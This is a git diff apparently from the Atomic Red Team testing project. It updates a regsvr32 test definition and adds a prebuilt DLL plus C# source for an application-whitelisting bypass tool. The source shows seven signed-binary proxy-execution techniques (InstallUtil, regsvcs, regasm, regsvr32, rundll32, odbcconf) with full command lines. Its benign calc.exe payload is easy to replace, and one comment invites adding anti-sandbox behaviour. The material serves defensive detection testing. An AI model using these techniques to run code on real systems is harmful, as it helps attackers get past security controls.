diff --git a/atomics/T1117/T1117.yaml b/atomics/T1117/T1117.yaml
index 99ff938d..91948b5a 100644
--- a/atomics/T1117/T1117.yaml
+++ b/atomics/T1117/T1117.yaml
@@ -11,7 +11,7 @@ atomic_tests:
    filename:
     description: Name of the local file, include path.
     type: Path
-    default: Regsvr32.sct
+    default: C:\AtomicRedTeam\atomics\T1117\bin\Regsvr32.sct
   executor:
    name: command_prompt
    command: |
@@ -39,8 +39,8 @@ atomic_tests:
    dll_name:
     description: Name of DLL to Execute, DLL Should export DllRegisterServer
     type: Path
-    default: payload.dll
+    default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
   executor:
    name: command_prompt
    command: |
-    regsvr32.exe #{dll_name}
+    "IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe /s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
diff --git a/atomics/T1117/bin/AllTheThingsx86.dll b/atomics/T1117/bin/AllTheThingsx86.dll
new file mode 100755
index 00000000..eafffbf8
Binary files /dev/null and b/atomics/T1117/bin/AllTheThingsx86.dll differ
diff --git a/atomics/T1117/src/AllTheThings.cs b/atomics/T1117/src/AllTheThings.cs
new file mode 100644
index 00000000..b19e1e33
--- /dev/null
+++ b/atomics/T1117/src/AllTheThings.cs
@@ -0,0 +1,173 @@
+using System;
+using System.Diagnostics;
+using System.Reflection;
+using System.Configuration.Install;
+using System.Runtime.InteropServices;
+using System.EnterpriseServices;
+using RGiesecke.DllExport;
+using System.Windows.Forms;
+
+// You will need Visual Studio and UnmanagedExports to build this binary
+// Install-Package UnmanagedExports -Version 1.2.7
+// Project must be built with a specific architecure setting x86 /x64
+
+
+/*
+Author: Casey Smith, Twitter: @subTee
+License: BSD 3-Clause
+
+For Testing Binary Application Whitelisting Controls
+
+Includes 7 Known Application Whitelisting/ Application Control Bypass Techniques in One File.
+1. InstallUtil.exe
+2. Regsvcs.exe
+3. Regasm.exe
+4. regsvr32.exe
+5. rundll32.exe
+6. odbcconf.exe
+7. regsvr32 with params
+
+
+Usage:
+1.
+    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
+    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
+2.
+    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll
+    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll
+3.
+    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll
+    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll
+
+4.
+    regsvr32 /s /u AllTheThings.dll -->Calls DllUnregisterServer
+    regsvr32 /s AllTheThings.dll --> Calls DllRegisterServer
+5.
+    rundll32 AllTheThings.dll,EntryPoint
+
+6.
+    odbcconf.exe /s /a { REGSVR AllTheThings.dll }
+
+7.
+    regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThings.dll
+
+
+Sample Harness.Bat
+
+[Begin]
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll
+C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll
+regsvr32 /s /u AllTheThings.dll
+regsvr32 /s AllTheThings.dll
+rundll32 AllTheThings.dll,EntryPoint
+odbcconf.exe /a { REGSVR AllTheThings.dll }
+regsvr32.exe /s /n /i:"Some String To Do Things ;-)" AllTheThings.dll
+[End]
+
+
+*/
+
+[assembly: ApplicationActivation(ActivationOption.Server)]
+[assembly: ApplicationAccessControl(false)]
+
+public class Program
+{
+    public static void Main()
+    {
+        Console.WriteLine("Hello From Main...I Don't Do Anything");
+        //Add any behaviour here to throw off sandbox execution/analysts :)
+    }
+
+}
+
+public class Thing0
+{
+    public static void Exec()
+    {
+        ProcessStartInfo startInfo = new ProcessStartInfo();
+        startInfo.FileName = "calc.exe";
+        Process.Start(startInfo);
+    }
+
+    public static void ExecParam(string a)
+    {
+        MessageBox.Show(a);
+    }
+}
+
+[System.ComponentModel.RunInstaller(true)]
+public class Thing1 : System.Configuration.Install.Installer
+{
+    //The Methods can be Uninstall/Install.  Install is transactional, and really unnecessary.
+    public override void Uninstall(System.Collections.IDictionary savedState)
+    {
+
+        Console.WriteLine("Hello There From Uninstall");
+        Thing0.Exec();
+
+    }
+
+}
+
+[ComVisible(true)]
+[Guid("31D2B969-7608-426E-9D8E-A09FC9A51680")]
+[ClassInterface(ClassInterfaceType.None)]
+[ProgId("dllguest.Bypass")]
+[Transaction(TransactionOption.Required)]
+public class Bypass : ServicedComponent
+{
+    public Bypass() { Console.WriteLine("I am a basic COM Object"); }
+
+    [ComRegisterFunction] //This executes if registration is successful
+    public static void RegisterClass(string key)
+    {
+        Console.WriteLine("I shouldn't really execute");
+        Thing0.Exec();
+    }
+
+    [ComUnregisterFunction] //This executes if registration fails
+    public static void UnRegisterClass(string key)
+    {
+        Console.WriteLine("I shouldn't really execute either.");
+        Thing0.Exec();
+    }
+
+    public void Exec() { Thing0.Exec(); }
+}
+
+class Exports
+{
+
+    //
+    //
+    //rundll32 entry point
+    [DllExport("EntryPoint", CallingConvention = CallingConvention.StdCall)]
+    public static void EntryPoint(IntPtr hwnd, IntPtr hinst, string lpszCmdLine, int nCmdShow)
+    {
+        Thing0.Exec();
+    }
+
+    [DllExport("DllRegisterServer", CallingConvention = CallingConvention.StdCall)]
+    public static bool DllRegisterServer()
+    {
+        Thing0.Exec();
+        return true;
+    }
+
+    [DllExport("DllUnregisterServer", CallingConvention = CallingConvention.StdCall)]
+    public static bool DllUnregisterServer()
+    {
+        Thing0.Exec();
+        return true;
+    }
+
+    [DllExport("DllInstall", CallingConvention = CallingConvention.StdCall)]
+    public static void DllInstall(bool bInstall, IntPtr a)
+    {
+        string b = Marshal.PtrToStringUni(a);
+        Thing0.ExecParam(b);
+    }
+
+
+}